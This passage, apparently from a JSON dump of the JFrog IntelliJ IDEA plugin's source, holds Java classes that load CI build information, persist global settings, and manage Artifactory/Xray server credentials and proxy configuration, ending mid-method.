    "content": "package com.jfrog.ide.idea.ci;\n\nimport com.intellij.ide.util.PropertiesComponent;\nimport com.intellij.openapi.Disposable;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.components.State;\nimport com.intellij.openapi.progress.ProcessCanceledException;\nimport com.intellij.openapi.progress.ProgressManager;\nimport com.intellij.openapi.progress.Task;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.MessageBus;\nimport com.intellij.util.messages.MessageBusConnection;\nimport com.jfrog.ide.common.ci.BuildDependencyTree;\nimport com.jfrog.ide.common.ci.BuildGeneralInfo;\nimport com.jfrog.ide.common.ci.CiManagerBase;\nimport com.jfrog.ide.common.utils.ProjectsMap;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.events.BuildEvents;\nimport com.jfrog.ide.idea.events.ProjectEvents;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.log.ProgressIndicatorImpl;\nimport com.jfrog.ide.idea.ui.CiComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\nimport javax.swing.*;\nimport java.io.IOException;\nimport java.security.KeyManagementException;\nimport java.security.KeyStoreException;\nimport java.security.NoSuchAlgorithmException;\nimport java.text.ParseException;\nimport java.util.concurrent.CancellationException;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.jfrog.ide.common.log.Utils.logError;\nimport static com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration.BUILDS_PATTERN_KEY;\nimport static com.jfrog.ide.idea.utils.Utils.HOME_PATH;\n\n/**\n * @author yahavi\n */\n@State(name = \"CiState\")\npublic class CiManager extends CiManagerBase implements Disposable {\n    private static final String LOAD_BUILD_FAIL_FMT = \"Failed to load build '%s/%s'.\";\n\n    // Lock to prevent multiple simultaneous scans\n    private final AtomicBoolean scanInProgress = new AtomicBoolean(false);\n    private final MessageBusConnection projectBusConnection;\n    private final PropertiesComponent propertiesComponent;\n    private final MessageBusConnection appBusConnection;\n    private final Project project;\n\n    private CiManager(@NotNull Project project) throws IOException {\n        super(HOME_PATH.resolve(\"ci-cache\"), project.getName(), Logger.getInstance(), GlobalSettings.getInstance().getServerConfig());\n        this.propertiesComponent = PropertiesComponent.getInstance(project);\n        this.projectBusConnection = project.getMessageBus().connect(this);\n        this.appBusConnection = ApplicationManager.getApplication().getMessageBus().connect(this);\n        this.project = project;\n        registerOnChangeHandlers();\n    }\n\n    public static CiManager getInstance(@NotNull Project project) {\n        return project.getService(CiManager.class);\n    }\n\n    public void asyncRefreshBuilds() {\n        if (!scanPreconditionsMet()) {\n            return;\n        }\n        Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(null, \"Downloading builds information...\") {\n            @Override\n            public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) {\n                try {\n                    if (project.isDisposed()) {\n                        return;\n                    }\n                    project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_CI_STARTED).update();\n                    String buildsPattern = propertiesComponent.getValue(BUILDS_PATTERN_KEY);\n                    buildCiTree(buildsPattern, GlobalSettings.getInstance().getServerConfig().getProject(),\n                            new ProgressIndicatorImpl(indicator), () -> checkCanceled(indicator));\n                    CiFilterManager.getInstance(project).collectBuildsInformation(root);\n                    loadFirstBuild();\n                    sendUsageReport();\n                } catch (NoSuchAlgorithmException | KeyStoreException | KeyManagementException e) {\n                    logError(Logger.getInstance(), \"Failed to refresh builds\", e, true);\n                } finally {\n                    scanInProgress.set(false);\n                }\n            }\n        };\n        // The progress manager is only good for foreground threads.\n        if (SwingUtilities.isEventDispatchThread()) {\n            ProgressManager.getInstance().run(scanAndUpdateTask);\n        } else {\n            // Run the scan task when the thread is in the foreground.\n            ApplicationManager.getApplication().invokeLater(() -> ProgressManager.getInstance().run(scanAndUpdateTask));\n        }\n    }\n\n    /**\n     * Check if \"cancel\" was clicked.\n     *\n     * @param indicator - The progress indicator\n     * @throws CancellationException in case the scan process should be canceled.\n     */\n    private void checkCanceled(com.intellij.openapi.progress.ProgressIndicator indicator) throws CancellationException {\n        try {\n            indicator.checkCanceled();\n        } catch (ProcessCanceledException ignored) {\n            throw new CancellationException();\n        }\n    }\n\n    /**\n     * Load a build from the cache to the UI tree after selecting it in the builds selector.\n     * To save RAM, we save only 1 build dependency tree simultaneously.\n     *\n     * @param buildGeneralInfo - The build general info\n     */\n    public void loadBuild(BuildGeneralInfo buildGeneralInfo) {\n        CiComponentsTree componentsTree = CiComponentsTree.getInstance(project);\n        componentsTree.reset();\n        ProjectsMap.ProjectKey projectKey = null;\n        if (buildGeneralInfo != null) {\n            try {\n                BuildDependencyTree buildTree = loadBuildTree(buildGeneralInfo);\n                CiFilterManager.getInstance(project).collectsFiltersInformation(buildTree);\n                componentsTree.addScanResults(project.getName(), buildTree);\n                projectKey = ProjectsMap.createKey(project.getName(), buildTree.getGeneralInfo());\n            } catch (IOException | ParseException | IllegalArgumentException e) {\n                Logger.getInstance().error(String.format(LOAD_BUILD_FAIL_FMT, buildGeneralInfo.getBuildName(), buildGeneralInfo.getBuildNumber()), e);\n            }\n        }\n        MessageBus projectMessageBus = project.getMessageBus();\n        projectMessageBus.syncPublisher(ProjectEvents.ON_SCAN_CI_CHANGE).update(projectKey);\n    }\n\n    /**\n     * Search the build general info in the root tree.\n     *\n     * @param buildIdentifier - <buildName>/<buildNumber>\n     * @return the build general info or null\n     */\n    public BuildGeneralInfo getBuildGeneralInfo(String buildIdentifier) {\n        String buildName = StringUtils.substringBeforeLast(buildIdentifier, \"/\");\n        String buildNumber = StringUtils.substringAfterLast(buildIdentifier, \"/\");\n        return (BuildGeneralInfo) root.getChildren().stream()\n                .map(DependencyTree::getGeneralInfo)\n                .map(generalInfo -> (BuildGeneralInfo) generalInfo)\n                .filter(generalInfo -> StringUtils.equals(buildName, generalInfo.getBuildName()))\n                .filter(generalInfo -> StringUtils.equals(buildNumber, generalInfo.getBuildNumber()))\n                .findAny().orElse(null);\n    }\n\n    /**\n     * Load first build. If no builds found, delete all currently displayed build information from the UI.\n     */\n    private void loadFirstBuild() {\n        BuildGeneralInfo generalInfo = null;\n        if (!root.isLeaf()) {\n            BuildDependencyTree dependencyTree = (BuildDependencyTree) root.getFirstChild();\n            generalInfo = (BuildGeneralInfo) dependencyTree.getGeneralInfo();\n        }\n        project.getMessageBus().syncPublisher(BuildEvents.ON_SELECTED_BUILD).update(generalInfo);\n    }\n\n    private boolean scanPreconditionsMet() {\n        if (!GlobalSettings.getInstance().areArtifactoryCredentialsSet()) {\n            Logger.getInstance().debug(\"CI integration disabled - Artifactory server is not configured.\");\n            return false;\n        }\n        if (StringUtils.isBlank(propertiesComponent.getValue(BUILDS_PATTERN_KEY))) {\n            Logger.getInstance().debug(\"CI integration disabled - build name pattern is not set. \" +\n                    \"Configure it under the JFrog CI Integration page in the configuration.\");\n            return false;\n        }\n        if (!scanInProgress.compareAndSet(false, true)) {\n            Logger.getInstance().info(\"Builds scan is already in progress.\");\n            return false;\n        }\n        return true;\n    }\n\n    private void registerOnChangeHandlers() {\n        appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) this::asyncRefreshBuilds);\n        projectBusConnection.subscribe(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE, (ApplicationEvents) this::asyncRefreshBuilds);\n        projectBusConnection.subscribe(BuildEvents.ON_SELECTED_BUILD, (BuildEvents) this::loadBuild);\n    }\n\n    @Override\n    public void dispose() {\n        // Disconnect and release resources from the project bus connection\n        projectBusConnection.disconnect();\n        // Disconnect and release resources from the application bus connection\n        appBusConnection.disconnect();\n    }\n\n    private void sendUsageReport() {\n        Utils.sendUsageReport(\"ci\");\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/configuration/GlobalSettings.java",
    "content": "/*\n * SonarLint for IntelliJ IDEA\n * Copyright (C) 2015 SonarSource\n * sonarlint@sonarsource.com\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02\n */\npackage com.jfrog.ide.idea.configuration;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.components.PersistentStateComponent;\nimport com.intellij.openapi.components.State;\nimport com.intellij.openapi.components.Storage;\nimport com.intellij.util.messages.MessageBus;\nimport com.intellij.util.xmlb.XmlSerializerUtil;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.log.Logger;\nimport lombok.Getter;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.io.IOException;\n\n/**\n * @author yahavi\n */\n@Getter\n@State(name = \"GlobalSettings\", storages = {@Storage(\"jfrogConfig.xml\")})\npublic final class GlobalSettings implements PersistentStateComponent<GlobalSettings> {\n    private ServerConfigImpl serverConfig;\n\n    @SuppressWarnings(\"unused\")\n    GlobalSettings() {\n        this.serverConfig = new ServerConfigImpl();\n    }\n\n    public static GlobalSettings getInstance() {\n        return ApplicationManager.getApplication().getService(GlobalSettings.class);\n    }\n\n    /**\n     * Produces the state object to persist to file.\n     * If configuration loaded from environment-variables, don't persist connection details.\n     * Object to persist has null username and password as Password-safe is used for credentials store.\n     *\n     * @return the state object to persist with clear credentials.\n     */\n    @Override\n    public GlobalSettings getState() {\n        ServerConfigImpl serverConfig = new ServerConfigImpl();\n        serverConfig.setExcludedPaths(this.serverConfig.getExcludedPaths());\n        serverConfig.setPolicyType(this.serverConfig.getPolicyType());\n        serverConfig.setProject(this.serverConfig.getProject());\n        serverConfig.setWatches(this.serverConfig.getWatches());\n        serverConfig.setConnectionRetries(this.serverConfig.getConnectionRetries());\n        serverConfig.setConnectionTimeout(this.serverConfig.getConnectionTimeout());\n        serverConfig.setExternalResourcesRepo(this.serverConfig.getExternalResourcesRepo());\n        serverConfig.setScannerBinaryVersion(this.serverConfig.getScannerBinaryVersion());\n\n        GlobalSettings settings = new GlobalSettings();\n        settings.serverConfig = serverConfig;\n        settings.serverConfig.setPassword(null);\n        settings.serverConfig.setUsername(null);\n        settings.serverConfig.setUrl(this.serverConfig.getUrl());\n        settings.serverConfig.setXrayUrl(this.serverConfig.getXrayUrl());\n        settings.serverConfig.setArtifactoryUrl(this.serverConfig.getArtifactoryUrl());\n        return settings;\n    }\n\n    @Override\n    public void loadState(@NotNull GlobalSettings state) {\n        XmlSerializerUtil.copyBean(state, this);\n        serverConfig.readMissingConfFromEnv();\n    }\n\n    @Override\n    public void noStateLoaded() {\n        reloadMissingConfiguration();\n    }\n\n    /**\n     * Method is called by Idea IS for reading the previously saved config file 'jfrogConfig.xml' from the disk.\n     * Check if previous configurations contain credentials, perform migration if necessary.\n     *\n     * @param serverConfig - configurations read from file.\n     */\n    public void setServerConfig(@NotNull ServerConfigImpl serverConfig) {\n        setCommonConfigFields(serverConfig);\n        this.serverConfig.setCredentials(serverConfig.getCredentialsFromPasswordSafe());\n    }\n\n    /**\n     * Update xray configurations with new values.\n     *\n     * @param serverConfig - the new configurations to update.\n     */\n    public void updateConfig(ServerConfigImpl serverConfig) {\n        if (this.serverConfig.getUrl() != null && !this.serverConfig.getUrl().equals(serverConfig.getUrl())) {\n            this.serverConfig.removeCredentialsFromPasswordSafe();\n        }\n        setCommonConfigFields(serverConfig);\n        this.serverConfig.setUsername(serverConfig.getUsername());\n        this.serverConfig.setPassword(serverConfig.getPassword());\n        this.serverConfig.setAccessToken(serverConfig.getAccessToken());\n        this.serverConfig.addCredentialsToPasswordSafe();\n\n        MessageBus messageBus = ApplicationManager.getApplication().getMessageBus();\n        messageBus.syncPublisher(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE).update();\n    }\n\n    public void setCommonConfigFields(ServerConfigImpl serverConfig) {\n        this.serverConfig.setConnectionType(serverConfig.getConnectionType());\n        this.serverConfig.setUrl(serverConfig.getUrl());\n        this.serverConfig.setXrayUrl(serverConfig.getXrayUrl());\n        this.serverConfig.setArtifactoryUrl(serverConfig.getArtifactoryUrl());\n        this.serverConfig.setJFrogSettingsCredentialsKey(serverConfig.getJFrogSettingsCredentialsKey());\n        setAdvancedSettings(serverConfig);\n    }\n\n    private void setAdvancedSettings(ServerConfigImpl serverConfig) {\n        this.serverConfig.setExcludedPaths(serverConfig.getExcludedPaths());\n        this.serverConfig.setConnectionRetries(serverConfig.getConnectionRetries());\n        this.serverConfig.setConnectionTimeout(serverConfig.getConnectionTimeout());\n        this.serverConfig.setExternalResourcesRepo(serverConfig.getExternalResourcesRepo());\n        this.serverConfig.setScannerBinaryVersion(serverConfig.getScannerBinaryVersion());\n        this.serverConfig.setPolicyType(serverConfig.getPolicyType());\n        this.serverConfig.setProject(serverConfig.getProject());\n        this.serverConfig.setWatches(serverConfig.getWatches());\n    }\n\n    /**\n     * Reloads missing configuration from the plugin settings, environment variables or JFrog CLI configuration.\n     *\n     * @return true if credentials exist and Xray is configured, false otherwise.\n     */\n    public boolean reloadMissingConfiguration() {\n        serverConfig.readMissingConfFromEnv();\n        if (serverConfig.isXrayConfigured()) {\n            return true;\n        }\n        serverConfig.readConnectionDetailsFromEnv();\n        if (serverConfig.isXrayConfigured()) {\n            return true;\n        }\n        loadConnectionDetailsFromJfrogCli();\n        return serverConfig.isXrayConfigured();\n    }\n\n    public boolean areXrayCredentialsSet() {\n        return serverConfig != null && serverConfig.isXrayConfigured();\n    }\n\n    public boolean areArtifactoryCredentialsSet() {\n        return serverConfig != null && serverConfig.isArtifactoryConfigured();\n    }\n\n    /**\n     * The plugin supports reading the JFrog connection details from JFrog CLI's configuration.\n     * This allows developers who already have JFrog CLI installed and configured,\n     * to have IDEA load the config automatically.\n     */\n    private void loadConnectionDetailsFromJfrogCli() {\n        try {\n            if (serverConfig.readConnectionDetailsFromJfrogCli()) {\n                Logger.getInstance().info(\"Successfully loaded config connection details from JFrog CLI\");\n                MessageBus messageBus = ApplicationManager.getApplication().getMessageBus();\n                messageBus.syncPublisher(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE).update();\n                return;\n            }\n        } catch (IOException exception) {\n            Logger.getInstance().warn(ExceptionUtils.getRootCauseMessage(exception));\n        }\n        Logger.getInstance().debug(\"Couldn't load config connection details from JFrog CLI\");\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/configuration/ServerConfigImpl.java",
    "content": "/*\n * SonarLint for IntelliJ IDEA\n * Copyright (C) 2015 SonarSource\n * sonarlint@sonarsource.com\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02\n */\npackage com.jfrog.ide.idea.configuration;\n\nimport com.intellij.credentialStore.Credentials;\nimport com.intellij.openapi.vfs.VfsUtil;\nimport com.intellij.util.EnvironmentUtil;\nimport com.intellij.util.net.HttpConfigurable;\nimport com.intellij.util.net.ssl.CertificateManager;\nimport com.intellij.util.xmlb.annotations.OptionTag;\nimport com.intellij.util.xmlb.annotations.Tag;\nimport com.intellij.util.xmlb.annotations.Transient;\nimport com.jfrog.ide.common.configuration.JfrogCliDriver;\nimport com.jfrog.ide.common.configuration.JfrogCliServerConfig;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.idea.ui.configuration.ConnectionRetriesSpinner;\nimport com.jfrog.ide.idea.ui.configuration.ConnectionTimeoutSpinner;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.jfrog.build.client.ProxyConfiguration;\n\nimport javax.annotation.CheckForNull;\nimport javax.annotation.Nullable;\nimport javax.annotation.concurrent.Immutable;\nimport javax.net.ssl.SSLContext;\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.net.PasswordAuthentication;\nimport java.net.Proxy;\nimport java.net.URI;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Objects;\n\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS;\nimport static com.jfrog.ide.idea.ui.configuration.Utils.*;\nimport static org.apache.commons.lang3.ObjectUtils.defaultIfNull;\nimport static org.apache.commons.lang3.StringUtils.*;\n\n/**\n * @author yahavi\n */\n@Immutable\npublic class ServerConfigImpl implements ServerConfig {\n    public enum ConnectionType {\n        SSO, CONNECTION_DETAILS\n    }\n\n    private static final String JFROG_SETTINGS_CREDENTIALS_KEY = \"credentials\";\n    public static final String JFROG_SETTINGS_KEY = \"com.jfrog.idea\";\n    static final String PLATFORM_URL_ENV = \"JFROG_IDE_PLATFORM_URL\";\n    static final String ARTIFACTORY_URL_ENV = \"JFROG_IDE_ARTIFACTORY_URL\";\n    static final String XRAY_URL_ENV = \"JFROG_IDE_XRAY_URL\";\n    static final String USERNAME_ENV = \"JFROG_IDE_USERNAME\";\n    static final String PASSWORD_ENV = \"JFROG_IDE_PASSWORD\";\n    static final String ACCESS_TOKEN_ENV = \"JFROG_IDE_ACCESS_TOKEN\";\n    static final String PROJECT_ENV = \"JFROG_IDE_PROJECT\";\n    public static final String EXTERNAL_RESOURCES_REPO_ENV = \"JFROG_IDE_RELEASES_REPO\";\n\n    @OptionTag\n    private ConnectionType connectionType;\n    @OptionTag\n    private String url;\n    @OptionTag\n    private String xrayUrl;\n    @OptionTag\n    private String artifactoryUrl;\n    @OptionTag\n    private String username;\n    @Tag\n    private String password;\n    @Tag\n    private String accessToken;\n    @Tag\n    private PolicyType policyType;\n    // JFrog project key to be used as context to Xray scan.\n    @OptionTag\n    private String project;\n    // A comma separated list of Xray watches to be used as context to Xray scan.\n    @OptionTag\n    private String watches;\n    // Pattern of project paths to exclude from Xray scanning for npm\n    @Tag\n    private String excludedPaths;\n    @Tag\n    private Integer connectionRetries;\n    @Tag\n    private Integer connectionTimeout;\n    @Tag\n    private String externalResourcesRepo;\n    @Tag\n    private String scannerBinaryVersion;\n    // The subsystem key of the plugin configuration in the PasswordSafe\n    @Transient\n    private String jfrogSettingsCredentialsKey = JFROG_SETTINGS_KEY;\n\n    ServerConfigImpl() {\n    }\n\n    ServerConfigImpl(Builder builder) {\n        this.connectionType = builder.connectionType;\n        this.url = builder.url;\n        this.xrayUrl = builder.xrayUrl;\n        this.artifactoryUrl = builder.artifactoryUrl;\n        this.username = builder.username;\n        this.password = builder.password;\n        this.accessToken = builder.accessToken;\n        this.policyType = builder.policyType;\n        this.project = builder.project;\n        this.watches = builder.watches;\n        this.excludedPaths = builder.excludedPaths;\n        this.connectionRetries = builder.connectionRetries;\n        this.connectionTimeout = builder.connectionTimeout;\n        this.externalResourcesRepo = builder.externalResourcesRepo;\n        this.scannerBinaryVersion = builder.scannerBinaryVersion;\n        this.jfrogSettingsCredentialsKey = builder.jfrogSettingsCredentialsKey;\n    }\n\n    public boolean isXrayConfigured() {\n        return !isAllBlank(url, xrayUrl) && isAuthenticationConfigured();\n    }\n\n    public boolean isArtifactoryConfigured() {\n        return !isAllBlank(url, xrayUrl) && isAuthenticationConfigured();\n    }\n\n    private boolean isAuthenticationConfigured() {\n        return isNoneBlank(username, password) || isNotBlank(accessToken);\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (!(o instanceof ServerConfigImpl)) {\n            return false;\n        }\n        ServerConfigImpl other = (ServerConfigImpl) o;\n\n        return Objects.equals(getConnectionType(), other.getConnectionType()) &&\n                Objects.equals(getUrl(), other.getUrl()) &&\n                Objects.equals(getXrayUrl(), other.getXrayUrl()) &&\n                Objects.equals(getArtifactoryUrl(), other.getArtifactoryUrl()) &&\n                Objects.equals(getPassword(), other.getPassword()) &&\n                Objects.equals(getUsername(), other.getUsername()) &&\n                Objects.equals(getAccessToken(), other.getAccessToken()) &&\n                Objects.equals(getPolicyType(), other.getPolicyType()) &&\n                Objects.equals(getProject(), other.getProject()) &&\n                Objects.equals(getWatches(), other.getWatches()) &&\n                Objects.equals(getExcludedPaths(), other.getExcludedPaths()) &&\n                getConnectionRetries() == other.getConnectionRetries() &&\n                getConnectionTimeout() == other.getConnectionTimeout() &&\n                Objects.equals(getExternalResourcesRepo(), other.getExternalResourcesRepo()) &&\n                Objects.equals(getScannerBinaryVersion(), other.getScannerBinaryVersion());\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(getConnectionType(), getUrl(), getXrayUrl(), getArtifactoryUrl(), getPassword(), getAccessToken(),\n                getUsername(), getProject(), getExcludedPaths(), getConnectionRetries(), getConnectionTimeout(), getExternalResourcesRepo(), getScannerBinaryVersion());\n    }\n\n    @Override\n    public String getUsername() {\n        return trimToEmpty(username);\n    }\n\n    @Override\n    public String getUrl() {\n        return trimToEmpty(url);\n    }\n\n    @Override\n    public String getXrayUrl() {\n        return trimToEmpty(xrayUrl);\n    }\n\n    @Override\n    public String getArtifactoryUrl() {\n        return trimToEmpty(artifactoryUrl);\n    }\n\n    @Override\n    @CheckForNull\n    public String getPassword() {\n        return password;\n    }\n\n    @Override\n    public String getAccessToken() {\n        return accessToken;\n    }\n\n    public void setConnectionType(ConnectionType connectionType) {\n        this.connectionType = connectionType;\n    }\n\n    public ConnectionType getConnectionType() {\n        return connectionType;\n    }\n\n    public Credentials getCredentialsFromPasswordSafe() {\n        return retrieveCredentialsFromPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY);\n    }\n\n    public void addCredentialsToPasswordSafe() {\n        // jfrog-ignore\n        String password = isNotBlank(accessToken) ? getAccessToken() : getPassword();\n        Credentials credentials = new Credentials(getUsername(), password);\n        storeCredentialsInPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY, credentials);\n    }\n\n    public void removeCredentialsFromPasswordSafe() {\n        removeCredentialsInPasswordSafe(jfrogSettingsCredentialsKey, JFROG_SETTINGS_CREDENTIALS_KEY);\n    }\n\n    @Override\n    public boolean isInsecureTls() {\n        return CertificateManager.getInstance().getState().ACCEPT_AUTOMATICALLY;\n    }\n\n    public String getExcludedPaths() {\n        return defaultIfNull(this.excludedPaths, DEFAULT_EXCLUSIONS);\n    }\n\n    @Override\n    public PolicyType getPolicyType() {\n        return this.policyType;\n    }\n\n    @Override\n    public String getProject() {\n        return trimToEmpty(this.project);\n    }\n\n    @Override\n    public String getWatches() {\n        return trimToEmpty(this.watches);\n    }\n\n    @Override\n    public SSLContext getSslContext() {\n        return CertificateManager.getInstance().getSslContext();\n    }\n\n    @Override\n    public int getConnectionRetries() {\n        return defaultIfNull(this.connectionRetries, ConnectionRetriesSpinner.RANGE.initial);\n    }\n\n    @Override\n    public int getConnectionTimeout() {\n        return defaultIfNull(this.connectionTimeout, ConnectionTimeoutSpinner.RANGE.initial);\n    }\n\n    @Override\n    public String getExternalResourcesRepo() {\n        return this.externalResourcesRepo;\n    }\n\n    public String getJFrogSettingsCredentialsKey() {\n        return this.jfrogSettingsCredentialsKey;\n    }\n\n    void setExcludedPaths(String excludedPaths) {\n        this.excludedPaths = excludedPaths;\n    }\n\n    void setPolicyType(PolicyType policyType) {\n        this.policyType = policyType;\n    }\n\n    void setProject(String project) {\n        this.project = project;\n    }\n\n    void setWatches(String watches) {\n        this.watches = watches;\n    }\n\n    /**\n     * Get proxy configuration as configured under 'Appearance & Behavior' -> 'System Settings' -> 'HTTP Proxy'\n     *\n     * @param targetUrl - The target URL. The URL is necessary to determine whether to bypass proxy or to pick the relevant\n     *                  proxy configuration for the target URL as configured in *.pac file.\n     * @return the proxy configuration as configured in IDEA settings.\n     */\n    @Override\n    public ProxyConfiguration getProxyConfForTargetUrl(String targetUrl) {\n        HttpConfigurable httpConfigurable = HttpConfigurable.getInstance();\n        if (httpConfigurable.USE_PROXY_PAC) {\n            // 'Auto-detect proxy settings' option is selected\n            return getProxyConfForTargetUrlUsingPac(httpConfigurable, targetUrl);\n        }\n        if (httpConfigurable.isHttpProxyEnabledForUrl(targetUrl)) {\n            // 'Manual proxy configuration' option is selected\n            return getProxyConfForTargetUrlUsingManualConf(httpConfigurable);\n        }\n        // 'No proxy' option is selected\n        return null;\n    }\n\n    /**\n     * Read Proxy config from proxy auto-configuration (PAC) file.\n     *\n     * @param httpConfigurable - Intellij HTTP details\n     * @param xrayUrl          - The Xray URL\n     * @return Proxy config\n     */\n    private ProxyConfiguration getProxyConfForTargetUrlUsingPac(HttpConfigurable httpConfigurable, String xrayUrl) {\n        URI xrayUri = VfsUtil.toUri(xrayUrl);\n        if (xrayUri == null) {\n            // Proxy URL is illegal\n            return null;\n        }\n\n        List<Proxy> proxies = httpConfigurable.getOnlyBySettingsSelector().select(xrayUri);\n        if (CollectionUtils.isEmpty(proxies)) {\n            // No proxy found for Xray URL\n            return null;\n        }\n        // Currently only 1 proxy is supported\n        Proxy firstProxy = proxies.get(0);\n        if (firstProxy.type().equals(Proxy.Type.DIRECT)) {\n            // Xray URL is configured with \"no proxy\"\n            return null;\n        }\n        InetSocketAddress inetSocketAddress = (InetSocketAddress) firstProxy.address();\n        ProxyConfiguration proxyConfig = new ProxyConfiguration();\n        proxyConfig.host = inetSocketAddress.getHostString();\n        proxyConfig.port = inetSocketAddress.getPort();\n        if (httpConfigurable.isGenericPasswordCanceled(proxyConfig.host, proxyConfig.port)) {\n            // Authentication is disabled\n            return proxyConfig;\n        }\n        PasswordAuthentication passwordAuthentication = httpConfigurable.getGenericPassword(proxyConfig.host, proxyConfig.port);\n        if (passwordAuthentication != null) {\n            proxyConfig.username = passwordAuthentication.getUserName();\n            proxyConfig.password = String.valueOf(passwordAuthentication.getPassword());\n        }\n        return proxyConfig;\n    }\n\n    /**\n     * Read Proxy config using manual proxy configuration.\n     *\n     * @param httpConfigurable - Intellij HTTP details\n     * @return Proxy config\n     */\n    private ProxyConfiguration getProxyConfForTargetUrlUsingManualConf(HttpConfigurable httpConfigurable) {\n        ProxyConfiguration proxyConfig = new ProxyConfiguration();\n        proxyConfig.host = trimToEmpty(httpConfigurable.PROXY_HOST);\n        proxyConfig.port = httpConfigurable.PROXY_PORT;\n        if (httpConfigurable.PROXY_AUTHENTICATION) {\n            proxyConfig.username = trimToEmpty(httpConfigurable.getProxyLogin());\n            proxyConfig.password = httpConfigurable.getPlainProxyPassword();\n        }\n        return proxyConfig;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public void setXrayUrl(String xrayUrl) {\n        this.xrayUrl = xrayUrl;\n    }\n\n    public void setArtifactoryUrl(String artifactoryUrl) {\n        this.artifactoryUrl = artifactoryUrl;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public void setAccessToken(String accessToken) {\n        // jfrog-ignore\n        this.accessToken = accessToken;\n    }\n\n    void setCredentials(Credentials credentials) {\n        if (credentials == null) {\n            return;\n        }\n        if (isNotBlank(credentials.getUserName())) {\n            setUsername(credentials.getUserName());\n            setPassword(credentials.getPasswordAsString());\n        } else {\n            setAccessToken(credentials.getPasswordAsString());\n        }\n    }\n\n    void setConnectionRetries(int connectionRetries) {\n        this.connectionRetries = connectionRetries;\n    }\n\n    void setConnectionTimeout(int connectionTimeout) {\n        this.connectionTimeout = connectionTimeout;\n    }\n\n    void setExternalResourcesRepo(String externalResourcesRepo) {\n        this.externalResourcesRepo = externalResourcesRepo;\n    }\n\n    public String getScannerBinaryVersion() {\n        return this.scannerBinaryVersion;\n    }\n\n    void setScannerBinaryVersion(String scannerBinaryVersion) {\n        this.scannerBinaryVersion = scannerBinaryVersion;\n    }\n\n    public void setJFrogSettingsCredentialsKey(String jfrogSettingsCredentialsKey) {\n        this.jfrogSettingsCredentialsKey = jfrogSettingsCredentialsKey;\n    }\n\n    /**\n     * Read connection details from environment variables.\n     * All connection details must be provided from env, otherwise don't use them.\n     */\n    public void readConnectionDetailsFromEnv() {\n        String platformUrlEnv = EnvironmentUtil.getValue(PLATFORM_URL_ENV);\n        String xrayUrlEnv = EnvironmentUtil.getValue(XRAY_URL_ENV);\n        String artifactoryUrlEnv = EnvironmentUtil.getValue(ARTIFACTORY_URL_ENV);\n        String usernameEnv = EnvironmentUtil.getValue(USERNAME_ENV);\n        String passwordEnv = EnvironmentUtil.getValue(PASSWORD_ENV);\n        String accessTokenEnv = EnvironmentUtil.getValue(ACCESS_TOKEN_ENV);\n        String projectEnv = EnvironmentUtil.getValue(PROJECT_ENV);\n        if (isAnyBlank(usernameEnv, passwordEnv) || isAllBlank(platformUrlEnv, xrayUrlEnv, artifactoryUrlEnv)) {\n            setUrl(\"\");\n            setXrayUrl(\"\");\n            setArtifactoryUrl(\"\");\n            setUsername(\"\");\n            setPassword(\"\");\n            